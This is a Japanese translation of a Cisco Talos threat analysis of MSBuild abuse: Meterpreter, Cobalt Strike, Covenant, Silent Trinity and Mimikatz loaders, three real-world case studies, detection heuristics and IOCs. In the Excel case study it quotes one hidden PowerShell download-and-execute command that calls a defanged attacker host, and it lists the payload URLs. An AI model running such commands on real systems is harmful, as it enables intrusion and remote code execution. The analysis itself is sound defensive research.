ニュースの概要
- 環境寄生型バイナリ(LoLBin)は今でもセキュリティ上の脅威。
- Talos では攻撃者やレッドチームによる Microsoft ビルドエンジンの使用状況を分析。
- LoLBin の脅威は、MITRE ATT&CK フレームワークの T1127(信頼済み開発者ユーティリティ)と T1500(配信後コンパイル)の手口が利用。
以前の記事では、侵害後の攻撃フェーズにおいて、OS のデフォルト機能や他の正規の実行可能ファイルを使用して「環境寄生型」バイナリを実行する手口について概説しました。このような環境寄生型バイナリを Talos では「LoLBin」と呼んでいます。以来 Talos では、シスコ製品から転送されるテレメトリを分析し、実際の攻撃における LoLBin の使用状況を測定し続けています。
今後は特に、エクスプロイト後のアクティビティの拠点となる MSBuild に注目していく予定です。これに向けて、Cisco Threat Grid プラットフォームに転送される分析用サンプルの挙動、そしてオープンデータリポジトリとクローズドデータリポジトリからの情報も収集しています。
最新情報
Talos では、悪意のある MSBuild プロジェクト構成ファイルを収集し、その構造をドキュメント化して、感染ベクトルと最終的なペイロードを観察しました。また、発見された脅威の背後に存在すると考えられる攻撃者についても検討しています。
仕組み
MSBuild は Microsoft ビルドエンジンの一部です。Microsoft ビルドエンジンは XML 入力ファイルの指定どおりにアプリケーションをビルドするソフトウェアビルドシステムです。入力ファイルは通常、Microsoft Visual Studioで作成されます。ただし、コンパイルに必要な .NET Framework などのコンパイラはすでにシステムに組み込まれているので、アプリケーションをビルドする際に Visual Studio は必要ありません。
攻撃者は、MSBuild の特性を利用することで、MSBuild 構成ファイル内またはプロジェクトファイル内に悪意のあるソースコードを紛れ込ませることができます。
影響
MSBuild エンジンを使用してソースコード内にマルウェアを紛れ込ませる手口は、攻撃者にいくつかの利点があります。この手口は数年前に発見された後、Casey Smith 氏(収集したサンプルに対して Talos が多用しているコンセプト実証テンプレートの作成者)によって詳細に解説されています。
- まずこの手法を使用すると、Windows Applocker などのアプリケーション ホワイトリスト技術をバイパスできます。
- また、コードがメモリ内でコンパイルされるため、ディスク上に防御者の目につきやすい永続ファイルが作成されません。
- さらに別のメリットは、攻撃者が変数名をランダム化したり、リモートサイトでホストされているキーを使用してペイロードを暗号化したりするなど、さまざまな方法でペイロードを難読化できることです。これにより従来のメソッドではペイロードが検知されにくくなります。
技術概要
MSBuild 入力構成ファイルの特徴の一つは、開発者が特殊な XML タグを組み込む形でソースコードを含むインラインタスクを指定し、そのソースコードをメモリ内で MSBuild にコンパイルさせ、読み込ませることができる点です。
MSBuild 構成ファイル内のインラインタスクの定義
タスクの属性に応じて新しいクラス、メソッド、またはコード断片を指定しておくと、プロジェクトをビルドするときに自動的に実行させることができます。
ソースコードは、ドライブ上の外部ファイルとして指定できます。このようにプロジェクトファイルと悪意のあるソースコードが分離されているため、悪意のある MSBuild の実行が検出されない可能性が高まります。
Talos は調査の一環としてさまざまなソースから疑わしい MSBuild 構成ファイルを 100 種類余り収集して配信方法を分析し、通常は特定の場所に依存しないコード、つまりシェルコード形式で配信される最終ペイロードを調査しました。
シェルコード分析の要約
Metasploit
C# 変数への埋め込みに適した形式で msfvenom ユーティリティから生成された Metasploit Meterpreter ステージャシェルコードの亜種は、収集したサンプルの大部分に含まれていました。シェルコードのバイト配列を zlib や gzip で圧縮し、Base64 形式でエンコードされた printable 形式に変換して難読化する手法は、一般的なものです。
MSBuild 構成ファイルに組み込まれた Meterpreter ステージャのシェルコードの例
シェルコードを迅速に分析できる最も手軽なツールは、おそらくシェルコードデバッガですscdbg。scdbg には、シェルコードをデバッグするオプションが多数あります。scdbg はオープンソースの x86 エミュレーションライブラリ「libemu」をベースにしていて、Windows 環境をエミュレートするだけなので、すべてのシェルコードが正しく分析されるわけではありません。ただし、このツールによって作成されたログファイルは後でクラスタリングに使用できるため、大量のシェルコードサンプルを分析する場合、最初の絞り込みには最適です。
もちろんシェルコードを分析するには、C# のバイト配列変数への割り当てに適した形式からバイナリ形式に戻す必要があります。適切なターミナル(シェル)が設定されている UNIX コンピュータを日常的に使用している場合、おそらく最初に使用するツールはデフォルトユーティリティの xxd です。xxd はバイナリファイルの内容を人間の読み取れる 16 進数形式でダンプするために多用されます。
また、xxd には復帰モードもあるため、コマンドラインオプションの -r と -p を同時に指定すると、C# のバイト配列からバイナリファイルに戻すことができます。
xxd -r -p input_text_shellcode_file output_binary_shellcode_file
xxd は一般的なダンプ形式を複数サポートしていますが、出力に変換ミスが一切含まれないとは限りません。バイナリバイトとシェルコードのテキストファイルで指定されたバイトの一致を確認することが大切です。
Metasploit ステージャのシェルコードの scdgb API トレース
scdbg のコンパイル済みバージョンが配布されていますが、新しい API エミュレーションを考慮すると、ソースコードからコンパイルする方法が適しています。
Covenant
Covenant は比較的新しい C# ベースのコマンド & コントロールフレームワークです。MSBuild などの感染ベクトルをベースとしてペイロードを作成しようとする攻撃者(またはレッドチームのメンバー)に悪用される可能性があります。MSBuild ローダーのスケルトンコードは比較的単純で、バイナリ形式のペイロードを受け取り、zlib 圧縮を使用してペイロードを縮小し、MSBuild プロセス空間に読み込みます。
ペイロードはスケルトンコードによる読み込みと実行が可能な .NET アセンブリ形式になっている必要があります。Covenant フレームワークには、Grunt と呼ばれる独自のポストエクスプロイト インプラントが一式そろっています。Grunt は C2 サーバとの通信を構築するためのインフラとして機能します。タスクは難読化された C# アセンブリ形式で感染済みのシステムに送信され、Grunt に読み込まれて実行されます。
Grunt インプラントを読み込む Covenant スケルトンコード
MSBuild で PowerShell ではなく NPS を使用
NPS は、System.Management.Automation を含む少数の .NET アセンブリを実行可能ファイルのプロセス空間に読み込むための、シンプルな実行可能ラッパーユーティリティです。NPS を使用する意図は、検出の対象となる powershell.exe の実行を避けながら、独自の PowerShell コードを実行することにあります。
MSBuild 構成ツールなどの多様なメカニズムを組み合わせて PowerShell 以外のペイロードを作成する nps_payload ツールは、このようなアイデアに基づいて開発されたものです。このツールでは、任意の Meterpreter ステージャのシェルコードペイロードまたはユーザが提供する独自の PowerShell コードペイロードを使用して MSBuild プロジェクトファイルが生成されます。
PowerShell を使用しない MSBuild のフロー
Cobalt Strike
Metasploit シェルコード形式の MSBuild ペイロードが最も一般的ですが、Cobalt Strike ビーコンをペイロードとして使用するサンプルもこれまでにいくつか観察されています。ビーコンシェルコードは PE ファイルに似た構造をしていますが、マジックバイトの MZ の直前に BLOB の冒頭で開始されるシェルコードローダーを呼び出すことにより、手動でメモリに読み込んで実行するように設計されています。
Cobalt Strike ペイロードの冒頭部分
Cobalt Strike のリフレクティブローダー
ペイロード自体は長さが 200 KB を超えるため、比較的容易に検出できます。この記事の後半で取り上げるケーススタディの 1 つでは、リモート Web サイトで AES256 のキーをホストしておき、そのキーでビーコンペイロードを暗号化してビーコンペイロードを難読化するという、より巧妙な手口を紹介します。
Mimikatz
これまでに検出された中で Cobalt Strike シェルコードおよびビーコンより長い唯一のサンプルが、2 つの Mimikatz ペイロードを含むサンプルです。Talos が発見したサンプルでは、実行可能ファイルをメモリに読み込み、最終的に CreateThread を呼び出して起動する複雑なロジックが使用されていました。このサンプルでは、GitHub から取得できる PE ローダーのソースが MSBuild 内で動作するように加工されていました。
MSBuild Mimikatz ローダー
このローダーは、まず OS が 32 ビット版か 64 ビット版かをチェックし、次に Base64 形式でエンコードされた変数に含まれる Mimikatz 実行可能ファイルのうち適切な方をロードして実行します。
ケーススタディ
ここでは、過去 6 ヵ月間に Cisco Threat Grid プラットフォームに送信されたケースの中から 3 件を取り上げ、Talos の総合的観察結果を順に紹介します。Threat Grid では MSBuild の悪用を試みるサンプルの検出に「プロジェクトファイル(xml/csproj)を使用した MSBuild プロセスのビルド」 というインジケータを使用しています。このインジケータ名は、同じ手口を使おうとしている新たなサンプルの検索にも使用できます。
MSBuild を悪用する侵入のインジケータに関する Cisco Threat Grid の簡単な説明
ケース 1:Dropbox 上の Word ドキュメントから MSBuild ペイロードを展開
MSBuild を使用してペイロードを展開する実際のキャンペーンのうち、1 つ目のケーススタディでは、ごく一般的な虚偽のメッセージを表示する Word ドキュメントが使用されていました。メッセージの狙いは、ユーザに「コンテンツの有効化」を求めてドキュメント内の VBA マクロコードの実行を許可させることです。
VBA コードの実行が許可されると、ユーザの Temp フォルダに 2 つのファイルが作成されます。1 つ目は「expenses.xlsx」という名前で表示されますが、実際にはペイロードをコンパイルして起動する不正コードが組み込まれた MSBuild 構成 XML ファイルです。
VirusTotal によると、このサンプルは Dropbox の一般公開フォルダで、「Candidate Resume – Morgan Stanley 202019.doc」という名前でホストされていました。この点から、キャンペーンが標的型攻撃だったか、あるいは企業側の防御態勢をテストするレッドチームによるものだった可能性が考えられます。
サンプルを開くと表示される画面
VBA コードによってユーザの一時フォルダ内に作成される 2 番目のファイルの名前は「resume.doc」です。これはおとりとして使用される Word ドキュメントで、開くとマーケティングマネージャ職応募者の略歴が表示されます。
おとりの正当なドキュメント
Winword により MSBuild が起動された後、MSBuild により C# コンパイラ csc.exe と cvtres.exe が起動されます。
Thread Grid で生成されたこのサンプルのプロセスツリー
また、Internet Explorer(iexplore.exe)を起動する MSBuild プロセスも見つかっています。このケースでは、iexplore.exe がサスペンドモードで起動され、非同期プロシージャ呼び出し(一般的なプロセスインジェクション手法の 1 つ)としてスレッドをキューに挿入する方法により、Cobalt Strike ビーコン形式のペイロードがプロセス空間にコピーされて起動されます。
ブルーチームは、日頃からこまめにプロセス間の親子関係を調べておく必要があります。このケースでは、winword.exe により MSBuild.exe プロセスが起動され、msbuild.exe により iexplore.exe が起動されています。これは非常に珍しい手法です。
MSBuild を悪用したプロセスインジェクションのソースコード
ケース 2:Excel ファイルから Silent Trinity に展開
2 番目のケーススタディは、前のケースとパターンが似ています。これらのケースでは、給与に関する機密情報を装った Excel ファイルが使用され、格納ファイルを表示するために編集を有効化するようユーザに求めるメッセージが表示されます。
Excel サンプルを開くと表示される画面
この Excel ファイルには、一見正当なデータと見せかけながら、別の関数を呼び出す VBA マクロコードが含まれています。この関数が実行されると、当初はほぼ無害に見えますが、最終的には次のローダーステージの URL を含むドキュメントの Subject 属性を使用して wscript.shell が呼び出されます。
ドキュメントの Subject 属性を使用して次のステージを起動する VBA コード
このドキュメントの Subject プロパティには、PowerShell を実行し、次のステージをフェッチして呼び出すコードが含まれています。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('hxxp://apb[.]sh/helloworld[.]ps1')
Helloworld.ps1 により、hxxp://apb[.]sh/msbuild[.]xml という他の URL から MSBuild 構成がダウンロードされ、起動されます。最後に helloworld.ps1 によって hxxp://apb[.]sh/per[.]txt というファイルがダウンロードされ、ユーザの \Start Menu\Programs\Startup\ フォルダに a.bat という名前で保存されます。a.bat として保存されることで、ユーザがシステムからログアウトした後もこのペイロードは確実に保持されます。
ダウンロードされた MSBuild 構成ファイルは Silent Trinity .NET のエクスプロイト後のフレームワークで生成されているようです。.NET アセンブリペイロードは、zlib 圧縮ファイルとして格納され、Base64 エンコーダでエンコードされます。このファイルがデコードされると、hxxp://35[.]157[.]14[.]111 をポイントするコマンド & コントロール URL、TCP ポート 8080、Amazon AWS 範囲の IP アドレスを使用して Silent Trinity のステージャアセンブリがロードされます。
Silent Trinity ケーススタディの全ステージ
Silent Trinity は、攻撃者やレッドチームメンバーが最初の足場を確立した後、さまざまなアクティビティを繰り広げるために使用する比較的最近のフレームワークです。オリジナルの Silent Trinity インプラントは「Naga」と呼ばれ、Boolang 言語で送信されたコマンドを解釈する機能を持っています。データが HTTP 経由で送信された場合でも、インプラントと C2 サーバの間の通信は暗号化されます。
このケースで攻撃者は、Boolang を使用しない旧バージョンの Naga を使用して、.NET フレームワークに対応した Python の実装である IronPython をロードしようとしています。
IronPython エンジンをロードする Silent Trinity インプラント
エクスプロイト後はどのフレームワークにも共通するとおり、これが悪意のあるキャンペーンかどうかや、レッドチームメンバーが実行したかどうかの判断は困難です。
ケース 3:URL を経由した暗号化 Cobalt Strike ビーコン
この記事最後のケーススタディでは、異なる感染パターンが登場します。まず、既知のアパレルメーカー G-III の従業員向け行動規範を装ったドキュメントが、ある Web ページでホストされています。このドキュメントは、MSBuild 構成ファイルを作成して MSBuild を実行する、VBScript 形式の HTML アプリケーションです。
構成ファイルを作成して MSBuild を呼び出す VBScript HTA ファイル
この MSBuild 構成ファイルには、外部 URL を使用して暗号化埋め込みペイロードの復号キーを取得するインラインタスククラスが含まれています。キーは hxxp://makeonlineform[.]com/forms/228929[.]txt という URL に保存されていました。この埋め込みペイロードが、最終的な Cobalt Strike ビーコンの難読化を解除してプロセスメモリにロードする Cobalt Strike PowerShell ローダーです。
難読化が解除された Cobalt Strike PowerShell ローダー
Cobalt Strike ビーコンがロードされると、G-III の行動規範が掲載された実際の URL を開くよう、HTA アプリケーションがブラウザを誘導します。最後に、生成された MSBuild 構成ファイルがコンピュータから削除されます。
Threat Grid によって生成されたプロセスツリー図を見ると、MSBuild.exe プロセスが PowerShell を起動するという疑わしいイベントが見つかります。Mshta.exe が MSBuild.exe の親プロセスとして表示されていないため、この図はますます疑わしく見えます。
Threat Grid で表示されたこの HTA アプリケーションのプロセスツリー
テレメトリ、MSBuild、考えられる攻撃者
Cisco AMP for Endpoints などの EDR ツールやシステムから防御者が取得できるプロセス引数の形式で MSBuild テレメトリを確認しても、環境内での MSBuild.exe の呼び出しが疑わしいかどうかは容易には判断できません。
このような判断の難しさとは対照的に、エンコードスクリプトを使用した PowerShell の呼び出しでは、コマンドライン引数を見れば実際のコードを確認できます。
Talos では、MSBuild を使用して AMP for Endpoints を実行しているシステムの割合を 30 日間にわたって測定し、MSBuild イベントの調査が必要かどうかの判断に役立つデータを取得しました。
2020 年 1 月中に MSBuild を実行していたエンドポイントの割合(日次)。
また Talos ではプロジェクトのファイル名も確認しました。ファイル名を確認した理由は、任意のファイル名を使用できる以上、デフォルトのプロジェクトファイル名を使用するだけでは一部の攻撃を見逃しかねないためです。その他には MSBuild が呼び出される際の引数の数も調査基準の候補となります。MSBuild の呼び出しで呼び出される引数が 1 つしかなく、その引数がプロジェクト名である場合は、不正なアクティビティの可能性が高いと考える方法があります。
引数の数に加え、防御者は MSBuild が実行されるファイルパスを調べる必要があります。不審な MSBuild 呼び出しは、非常に高い確率で C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll の呼び出しに属しています。これは、悪意のある MSBuild 構成ファイルのビルドアセンブリとして一般的に知られているパスです。
組織内の最後のアプローチは、組織内で MSBuild の親プロセスを基準にし、Visual Studio 開発環境などのソフトウェア構築フレームワークをはじめとする通常のプロセス以外からの呼び出しをすべて疑わしい呼び出しとしてマークする方法です。Talos が 2020 年 1 月までテレメトリを調査した結果、AMP for Endpoints の保護対象エンドポイントのすべてで親プロセスとして機能する実行可能ファイルの異なり数は、わずか 65 個でした。ほぼすべての環境におけるこのファイル数はさらに少ないため、容易に管理できます。
シスコにテレメトリを送信するすべてのエンドポイントで最大 2% が毎日 MSBuild を実行しており、大規模な組織では MSBuild を呼び出すエンドポイントが多すぎて調査しきれません。ところが上述のように疑わしい MSBuild 呼び出しを判定するルールを適用すると、確認すべき対象が 1/50,000(2% の 0.1%)程度に絞られるため、はるかに管理しやすくなります。
Cisco AMP for Endpoints で疑わしい MSBuild 呼び出しが見られたエンドポイントの割合
発見したサンプルの作成者について検討するには、さらに多くの文脈を調べてみないと、これ以上詳しいことを述べるのは困難です。確かに MSBuild プロジェクトファイルのみを調べていては、ソースコードとそのペイロードの基本分析しかできません。まだ Threat Grid の動作結果など、一部の動作結果しか確認していないため、今後 Talos ではより多くの文脈を確認し、MSBuild が悪用される状況をより明確に把握する取り組みを開始します。
Talos の調査では、ペイロードのほとんどで Meterpreter、Cobalt Strike、Silent Trinity、Covenant といったポストエクスプロイト エージェントの亜種が使用されていました。以上から Talos が導き出せる結論は、攻撃者が今後悪意のあるアクティビティを展開する布石として企業内での足場作りに関心を示しているか、レッドチームのメンバーが攻撃目標の防御・検出精度と能力を見極めるために侵入テストを行っているという可能性です。
まとめ
MSBuild は、.NET ソフトウェアプロジェクトを構築するソフトウェアエンジニアにとって不可欠なツールです。しかし MSBuild プロジェクトファイルにコードを組み込む機能には、Windows のセキュリティ機構の一部をバイパスしようとする攻撃者に悪用される可能性があります。
最後に、Talos が調査した限りでは、MSBuild が市販のマルウェアによって悪用される例はほとんど見られません。観察したほとんどのケースで、ポストエクスプロイト エージェントの亜種が最終的なペイロードとして見つかりました。入手しやすいポストエクスプロイト エージェントで侵入テストを行うと、実際より安全であると防御者が誤解する可能性があるため、あまり適切とは言えません。たとえば Meterpreter を見慣れた防御者は、ネットワーク上で別種の Meterpreter エージェントが検出され、そのエージェントが実際には悪意のある攻撃者の仕掛けたエージェントであったとしても、無視してしまう可能性があります。
プロセス実行のコマンドライン引数を注意深く監視し、Web ブラウザや Microsoft Office 実行可能ファイルを親プロセスとする MSBuild プロセスが見つかった場合は、詳細を確認することをお勧めします。このような挙動が見られる場合、防御が破られた疑いが非常に濃厚です。基準を設定しておくと、疑わしい MSBuild 呼び出しを判別しやすくなり、ごくまれにしか出現しなくなるため、チームの平均的な作業負荷が増えることはありません。
ソフトウェア開発者のいない本番環境では、MSBuild.exe の実行を逐一調査し、使用方法が正当であることを確認する必要があります。
カバレッジ
お客様がこの脅威を検出してブロックするための方法を以下に記載します。
Advanced Malware Protection(AMP)は、これらの攻撃者がマルウェアを実行できないようにするための最適な方法です。AMP 内に存在するエクスプロイト防止機能は、このような未知の攻撃からお客様を自動的に保護するように設計されています。
Cisco クラウド Web セキュリティ(CWS)または Web セキュリティアプライアンス(WSA)の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。
E メールセキュリティは、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。
次世代ファイアウォール(NGFW)、次世代侵入防御システム(NGIPS)、Cisco ISR、Meraki MX などのネットワーク セキュリティ アプライアンスは、今回の脅威に関連する不正アクティビティを検出します。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコセキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。
IOC
SHA256
334d4bcdbd645589b3cf37895c79b3b04047020540d7464268b3be4007ad7ab1 – Cobalt Strike MSBuild プロジェクト
a4eebe193e726bb8cc2ffbdf345ffde09ab61d69a131aff6dc857b0d01dd3213 – Cobalt Strike ペイロード
6c9140003e30137b0780d76da8c2e7856ddb4606d7083936598d5be63d4c4c0d – Covenant MSBuild プロジェクト
ee34c2fccc7e605487ff8bee2a404bc9fc17b66d4349ea3f93273ef9c5d20d94 – Covenant ペイロード
aaf43ef0765a5380036c5b337cf21d641b5836ca87b98ad0e5fb4d569977e818 – Mimikatz MSBuild プロジェクト
ef7cc405b55f8a86469e6ae32aa59f693e1d243f1207a07912cce299b66ade38 – Mimikatz x86 ペイロード
abb93130ad3bb829c59b720dd25c05daccbaeac1f1a8f2548457624acae5ba44 – Metasploit Shellcode MSBuild プロジェクト
ce6c00e688f9fb4a0c7568546bfd29552a68675a0f18a3d0e11768cd6e3743fd – Meterpreter ステージャシェルコード
a661f4fa36fbe341e4ec0b762cd0043247e04120208d6902aad51ea9ae92519e – 非 PowerShell MSBuild プロジェクト
18663fccb742c594f30706078c5c1c27351c44df0c7481486aaa9869d7fa95f8 – Word から Cobalt Strike
35dd34457a2d8c9f60c40217dac91bea0d38e2d0d9a44f59d73fb82197aaa792 – Excel から Silent Trinity
URL
hxxp://apb[.]sh/helloworld[.]ps1
hxxp://apb[.]sh/msbuild[.]xml
hxxp://apb[.]sh/per[.]txt
hxxp://makeonlineform[.]com/f/c3ad6a62-6a0e-4582-ba5e-9ea973c85540/ – HTA から Cobalt Strike の URL
本稿は 2020年2月18日に Talos Group のブログに投稿された「Building a bypass with MSBuild」の抄訳です。